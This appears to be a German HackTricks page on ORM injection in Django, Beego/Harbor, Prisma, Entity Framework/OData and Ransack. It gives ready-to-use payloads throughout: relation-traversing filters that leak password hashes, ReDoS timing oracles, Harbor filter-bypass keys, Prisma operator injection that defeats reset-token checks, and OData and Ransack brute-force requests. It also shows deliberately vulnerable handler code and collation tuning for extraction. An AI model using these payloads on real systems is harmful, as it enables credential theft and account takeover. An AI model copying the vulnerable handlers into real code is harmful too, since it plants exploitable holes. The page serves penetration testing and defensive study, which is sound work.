ORM Injection

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Django ORM (Python)

In this post wird erklärt, wie es möglich ist, ein Django ORM verwundbar zu machen, indem man zum Beispiel Code wie den folgenden verwendet:

class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

Beachte, dass das gesamte request.data (welches ein json sein wird) direkt an filter objects from the database übergeben wird. Ein Angreifer könnte unerwartete Filter senden, um mehr Daten daraus zu leaken, als erwartet.

Beispiele:

  • Login: Versuche bei einem einfachen Login, die Passwörter der darin registrierten Benutzer zu leaken.
{
"username": "admin",
"password_startswith": "a"
}

Caution

Es ist möglich, das password per brute-force zu knacken, bis es leaked.

  • Relational filtering: Es ist möglich, Relationen zu traversieren, um Informationen aus Spalten zu leak, die nicht einmal erwartet wurden, in der Operation verwendet zu werden. Zum Beispiel, wenn es möglich ist, articles zu leak, die von einem Benutzer erstellt wurden, mit diesen Relationen: Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
{
"created_by__user__password__contains": "pass"
}

Caution

Es ist möglich, das password aller Benutzer zu finden, die einen Artikel erstellt haben

  • Many-to-many relational filtering: Im vorherigen Beispiel konnten wir die passwords von Benutzern, die keinen Artikel erstellt haben, nicht finden. Wenn man jedoch anderen Beziehungen folgt, ist das möglich. Zum Beispiel: Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
{
"created_by__departments__employees__user_startswith": "admi"
}

Caution

In diesem Fall können wir alle users in den Abteilungen von users finden, die Artikel erstellt haben, und dann ihre Passwörter leaken (im vorherigen json leaken wir nur die Benutzernamen, aber dann ist es möglich, die Passwörter zu leaken).

  • Abusing Django Group and Permission many-to-may relations with users: Außerdem wird das AbstractUser model verwendet, um users in Django zu erzeugen, und standardmäßig hat dieses Modell einige many-to-many relationships with the Permission and Group tables. Das ist im Grunde eine Standardmöglichkeit, access other users from one user, wenn sie in der same group or share the same permission.
# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password
  • Bypass filter restrictions: Der gleiche Blogpost schlug vor, die Verwendung bestimmter Filter zu umgehen, z. B. articles = Article.objects.filter(is_secret=False, **request.data). Es ist möglich, Artikel mit is_secret=True zu dumpen, weil man über eine Beziehung zurück zur Article-Tabelle gehen kann und dadurch ein leak von geheimen Artikeln aus nicht-geheimen Artikeln entsteht — die Ergebnisse werden gejoint und das Feld is_secret beim nicht-geheimen Artikel geprüft, während die Daten aus dem geheimen Artikel offengelegt werden.
Article.objects.filter(is_secret=False, categories__articles__id=2)

Caution

Durch Ausnutzung von Beziehungen lassen sich sogar Filter umgehen, die zum Schutz der angezeigten Daten vorgesehen sind.

  • Fehler-/Zeitbasiert via ReDoS: In den vorherigen Beispielen wurde erwartet, unterschiedliche Antworten zu erhalten, je nachdem, ob das Filtering funktionierte oder nicht, und dieses Verhalten als oracle zu nutzen. Es könnte jedoch möglich sein, dass in der Datenbank eine Aktion ausgeführt wird und die Antwort immer gleich bleibt. In diesem Szenario könnte man einen Datenbankfehler erzwingen, um ein neues oracle zu erhalten.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}

Aus demselben Beitrag bezüglich dieses Vektors:

  • SQLite: Hat standardmäßig keinen regexp operator (erfordert das Laden einer Drittanbieter-Extension)
  • PostgreSQL: Hat kein standardmäßiges regex timeout und ist weniger anfällig für backtracking
  • MariaDB: Hat kein regex timeout

Beego ORM (Go) & Harbor Filter Oracles

Beego spiegelt Django’s field__operator DSL wider, sodass jeder Handler, der Benutzern erlaubt, das erste Argument zu QuerySeter.Filter() zu kontrollieren, den gesamten Relationsgraphen offenlegt:

qs := o.QueryTable("articles")
qs = qs.Filter(filterExpression, filterValue) // attacker controls key + operator

Anfragen wie /search?filter=created_by__user__password__icontains=pbkdf können genau wie die oben gezeigten Django-Primitiven durch Foreign Keys pivotieren. Harbor’s q helper parste Benutzereingaben in Beego filters, sodass Benutzer mit geringen Rechten Geheimnisse ausloten konnten, indem sie Listenantworten beobachteten:

  • GET /api/v2.0/users?q=password=~$argon2id$ → zeigt, ob ein Hash $argon2id$ enthält.
  • GET /api/v2.0/users?q=salt=~abc → leaks salt substrings.

Das Zählen der zurückgegebenen Zeilen, das Beobachten der Pagination-Metadaten oder das Vergleichen der Antwortlängen liefert ein Oracle, um komplette Hashes, salts und TOTP-Seeds per brute-force zu ermitteln.

Umgehung von Harbor’s Patches mit parseExprs

Harbor versuchte, sensible Felder zu schützen, indem es sie mit filter:"false" markierte und nur das erste Segment des Ausdrucks validierte:

k := strings.SplitN(key, orm.ExprSep, 2)[0]
if _, ok := meta.Filterable(k); !ok { continue }
qs = qs.Filter(key, value)

Beego’s interne parseExprs durchläuft jedes durch __-getrennte Segment und überschreibt, wenn das aktuelle Segment keine Relation ist, einfach das Zielfeld mit dem nächsten Segment. Payloads wie email__password__startswith=foo passieren daher Harbor’s Filterable(email)=true-Prüfung, werden aber als password__startswith=foo ausgeführt und umgehen so deny-lists.

v2.13.1 beschränkte Keys auf einen einzelnen Separator, aber Harbor’s eigener fuzzy-match builder hängt Operatoren nach der Validierung an: q=email__password=~abcFilter("email__password__icontains", "abc"). Das ORM interpretiert das erneut als password__icontains. Beego-Apps, die nur das erste __-Komponent prüfen oder Operatoren später in der Request-Pipeline anhängen, bleiben gegenüber derselben Overwrite-Primitive verwundbar und können weiterhin als blind leak oracles missbraucht werden.

Prisma ORM (NodeJS)

Die folgenden sind tricks extracted from this post.

  • Volle Kontrolle über find:
const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

Man sieht, dass der gesamte javascript-Body an prisma übergeben wird, um Abfragen auszuführen.

Im Beispiel des Originalposts würde dies alle Posts prüfen, die in createdBy von jemandem erstellt wurden (jeder Post wird von jemandem erstellt) und außerdem die Nutzerinformationen dieser Person zurückgeben (username, password…).

{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]

Das Folgende wählt alle Beiträge aus, die von jemandem mit einem Passwort erstellt wurden, und gibt das Passwort zurück:

{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
  • Vollständige Kontrolle über die where-Klausel:

Schauen wir uns das an, wo der Angreifer die where-Klausel kontrollieren kann:

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // Vulnerable to ORM Leaks
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

Es ist möglich, das Passwort von Benutzern direkt zu filtern, zum Beispiel:

await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})

Caution

Durch die Verwendung von Operationen wie startsWith ist es möglich, Informationen zu leaken.

  • Many-to-many relational filtering bypassing filtering:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})

Es ist möglich, nicht veröffentlichte Artikel zu leaken, indem man zu den many-to-many-Beziehungen zwischen Category -[*..*]-> Article zurücknavigiert:

{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

Es ist auch möglich, alle Benutzer zu leaken, indem man loop back many-to-many relationships ausnutzt:

{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
  • Error/Timed queries: Im Originalpost finden Sie eine sehr umfangreiche Reihe von Tests, die durchgeführt wurden, um die optimale payload zu finden, um Informationen mit einer time based payload zu leak. Das ist:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

Wobei {CONTAINS_LIST} eine Liste mit 1000 Strings ist, um sicherzustellen, dass die Antwort verzögert wird, wenn der richtige leak gefunden wird.

Typverwirrung bei where-Filtern (operator injection)

Prisma’s query API akzeptiert entweder primitive Werte oder Operator-Objekte. Wenn Handler davon ausgehen, dass der Request-Body einfache Strings enthält, diese aber direkt an where weiterreichen, können Angreifer Operatoren in Authentifizierungsabläufe einschmuggeln und Token-Prüfungen umgehen.

const user = await prisma.user.findFirstOrThrow({
where: { resetToken: req.body.resetToken as string }
})

Gängige Coercion-Vektoren:

  • JSON body (default express.json()): {"resetToken":{"not":"E"},"password":"newpass"} ⇒ entspricht jedem Benutzer, dessen Token nicht E ist.
  • URL-encoded body with extended: true: resetToken[not]=E&password=newpass ergibt dasselbe Objekt.
  • Query string in Express <5 or with extended parsers: /reset?resetToken[contains]=argon2 leaks Teilstring-Übereinstimmungen.
  • cookie-parser JSON cookies: Cookie: resetToken=j:{"startsWith":"0x"} wenn Cookies an Prisma weitergeleitet werden.

Weil Prisma problemlos { resetToken: { not: ... } }, { contains: ... }, { startsWith: ... } etc. auswertet, kann jede Gleichheitsprüfung von secrets (reset tokens, API keys, magic links) in ein Prädikat erweitert werden, das auch ohne Kenntnis des secrets erfolgreich ist. Kombiniere das mit relationalen Filtern (createdBy), um ein Opfer auszuwählen.

Suche nach Abläufen, in denen:

  • Request-Schemas nicht durchgesetzt werden, sodass verschachtelte Objekte die Deserialisierung überleben.
  • Erweiterte Body-/Query-Parser aktiviert bleiben und Bracket-Syntax akzeptieren.
  • Handler Benutzer-JSON direkt an Prisma weiterleiten, statt es auf zugelassene Felder/Operatoren abzubilden.

Entity Framework & OData Filter Leaks

Reflection-basierte Text-Helper leak secrets

Microsoft TextFilter helper abused for leaks ```csharp IQueryable TextFilter(IQueryable source, string term) { var stringProperties = typeof(T).GetProperties().Where(p => p.PropertyType == typeof(string)); if (!stringProperties.Any()) { return source; } var containsMethod = typeof(string).GetMethod("Contains", new[] { typeof(string) }); var prm = Expression.Parameter(typeof(T)); var body = stringProperties .Select(prop => Expression.Call(Expression.Property(prm, prop), containsMethod!, Expression.Constant(term))) .Aggregate(Expression.OrElse); return source.Where(Expression.Lambda>(body, prm)); } ```

Hilfsfunktionen, die jede string-Eigenschaft aufzählen und sie mit .Contains(term) umschließen, setzen effektiv passwords, API tokens, salts, and TOTP secrets für jeden Benutzer frei, der den Endpoint aufrufen kann. Directus CVE-2025-64748 ist ein reales Beispiel, bei dem der directus_users Search-Endpoint token und tfa_secret in seinen generierten LIKE-Prädikaten enthielt und so die Anzahl der Ergebnisse in ein leak oracle verwandelte.

OData comparison oracles

ASP.NET OData-Controller geben häufig IQueryable<T> zurück und erlauben $filter, selbst wenn Funktionen wie contains deaktiviert sind. Solange das EDM die Eigenschaft exponiert, können Angreifer weiterhin Vergleiche darauf anstellen:

GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1
GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1

Allein das Vorhandensein oder Fehlen von Ergebnissen (oder Pagination-Metadaten) ermöglicht es, jedes Zeichen entsprechend der Datenbank-Collation per binärer Suche zu extrahieren. Navigation properties (CreatedBy/Token, CreatedBy/User/Password) ermöglichen relationale Pivots ähnlich wie bei Django/Beego, sodass jedes EDM, das sensitive Felder exponiert oder per-Property Deny-Lists überspringt, ein einfaches Ziel darstellt.

Bibliotheken und Middleware, die Benutzer-Strings in ORM-Operatoren übersetzen (z. B. Entity Framework dynamic LINQ helpers, Prisma/Sequelize wrappers), sollten als high-risk sinks behandelt werden, sofern sie nicht strikte Feld-/Operator-Allow-Lists implementieren.

Ransack (Ruby)

Diese Tricks wurden in diesem Beitrag gefunden.

Tip

Beachte, dass Ransack 4.0.0.0 jetzt die Verwendung einer expliziten Allow-List für durchsuchbare Attribute und Associations erzwingt.

Verwundbares Beispiel:

def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

Beachte, wie die query durch die vom Angreifer gesendeten Parameter definiert wird. Es war beispielsweise möglich, das reset token per brute-force zu erraten:

GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

Durch brute-forcing und gegebenenfalls durch Ausnutzung von Beziehungen war es möglich, mehr Daten aus einer Datenbank zu leak.

Kollationsabhängige leak-Strategien

String-Vergleiche erben die Datenbank-Kollation, daher müssen leak-Oracles um die Art der Zeichenordnung des Backends herum gestaltet werden:

  • Die Default-Collations von MariaDB/MySQL/SQLite/MSSQL sind oft case-insensitive, daher können LIKE/= nicht zwischen a und A unterscheiden. Verwende case-sensitive Operatoren (regex/GLOB/BINARY), wenn die Groß-/Kleinschreibung des Secrets eine Rolle spielt.
  • Prisma und Entity Framework spiegeln die Reihenfolge der Datenbank wider. Kollationen wie MSSQL’s SQL_Latin1_General_CP1_CI_AS setzen Satzzeichen vor Ziffern und Buchstaben, daher müssen Probes für die binäre Suche dieser Reihenfolge folgen und nicht der rohen ASCII-Byte-Reihenfolge.
  • SQLite’s LIKE ist case-insensitive, sofern keine benutzerdefinierte Kollation registriert ist, daher müssen Django/Beego leaks möglicherweise __regex-Prädikate verwenden, um case-sensitive Tokens wiederherzustellen.

Das Kalibrieren von Payloads auf die tatsächliche Kollation vermeidet verschwendete Probes und beschleunigt automatisierte Substring-/Binär-Suche-Angriffe deutlich.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks